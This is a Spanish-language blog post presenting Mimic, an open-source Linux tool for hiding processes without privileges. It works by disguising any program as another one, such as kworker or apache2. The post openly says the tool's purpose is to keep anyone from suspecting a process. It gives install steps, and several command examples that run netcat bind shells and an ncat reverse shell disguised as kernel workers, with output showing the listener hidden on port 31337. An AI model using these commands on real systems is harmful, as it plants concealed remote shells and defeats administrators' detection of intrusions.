Mimic: una herramienta para ocultar procesos en Linux incluso sin privilegios

Mimic es una herramienta para la ejecución encubierta de procesos en Linux x86_64. Para ello, Mimic puede lanzar cualquier programa y hacer que se vea como cualquier otro programa. Cualquier usuario puede usarlo. No requiere permisos especiales. No requiere binarios especiales. No requiere un rootkit.

¡¿Qué?! ¿Sin privilegios especiales? Correcto. Mimic funciona reorganizando las estructuras internas de un proceso de tal manera que confunde la entrada de /proc para ese proceso. Todas las herramientas que informan de la naturaleza de un proceso lo hacen examinando /proc. Si podemos "doblar" /proc, entonces podemos ocultar un proceso a simple vista. Como solo estamos alterando el estado de un proceso que poseemos, cualquiera puede ejecutar con éxito el Mimic.

Mimic utiliza un pequeño programa (set_target_pid) que agotará los pids hasta que vuelva al que se desea. Esto permite elegir en qué parte del proceso deseamos incluir nuestro proceso. Hay que tener en cuenta que el kernel reserva los primeros 300 pids para los threads del kernel. Si intentamos ir por debajo de eso, probablemente terminaremos corriendo con pid 301.

Por supuesto que cualquiera puede llegar a detectar ésto, pero sólo si está mirando muy de cerca o si ejecuta una herramienta forense que está buscando este tipo de cosas. El objetivo y la verdadera utilidad de Mimic es que evitará que alguien sospeche en primer lugar.

Uso:
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
    -e    Execute COMMAND.
    -m    Setup COMMAND to look like MIMIC.
            Default for non-root is:    "/usr/sbin/apache2 -k start"
            Default for root is:        "[kworker/0:0]"
    -b    Launch COMMAND in the background.
    -a    Add / overwrite KEY to the mimic environment with associated VALUE.
    -r    Raw mimic string. Do not process it in the normal way. (Useful for name fuzzing / mangling.)
    -q    Be quiet! Do not print normal output.
    -h    Print this helpful message.

    Notes:
        The MIMIC environment will be a copy of the COMMAND environment.
        The '_' variable is automatically changed.
        The -a flag can be called multiple times to add / overwrite multiple variables.

    Examples:
        mimic -e /bin/bash
        set_target_pid 1 && mimic -e /bin/bash
        mimic -b -e "./revsh"
        mimic -b -e "nc -l -e /bin/bash"
        mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Mimic puede usarse también con scripts pero sólo si se llama directamente en el intérprete. Por ejemplo, si la primera línea del script es "#!/usr/bin/perl", podremos llamar a Mimic de esta manera:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

Ejemplos:

Ejecutando un listener como root:

# ./mimic -b -e "/usr/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...            Success!
Waiting for child to attach...        Success!
Initializing ptrace_do...        Success!
Determining stack state...        Success!
Politely requesting name change...    Success!
Searching for main()...            Success!
Building execution headers...        Success!
Setting up final state...        Success!

    Good-bye and have a good luck! :)

# netstat -an | grep 31337
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               ESCUCHAR   
tcp6       0      0 :::31337                :::*                    ESCUCHAR  

Como podéis comprobar ha levantado el puerto 31337 pero si miramos el proceso de netcat no será visible porque en su lugar ha sido sustituido por kworker:
# lsof -i TCP:31337
COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
kworker/0 4813 root    3u  IPv6 100982      0t0  TCP *:31337 (LISTEN)
kworker/0 4813 root    4u  IPv4 100983      0t0  TCP *:31337 (LISTEN)

"[kworker/0:0]" es el proceso por defecto si lanzamos mimic como root, con cualquier otro usuario sería "Apache 2", pero ambos pueden cambiarse indicándolo como parámetro. El nuevo mombre de proceso es sólo un string, no tiene que ser un proceso existente.

Otro ejemplo, si queremos ejecutar una shell reversa con nc el comando de una sóla línea sería:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Instalación
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make

Proyecto: https://github.com/emptymonkey/mimic

Comentarios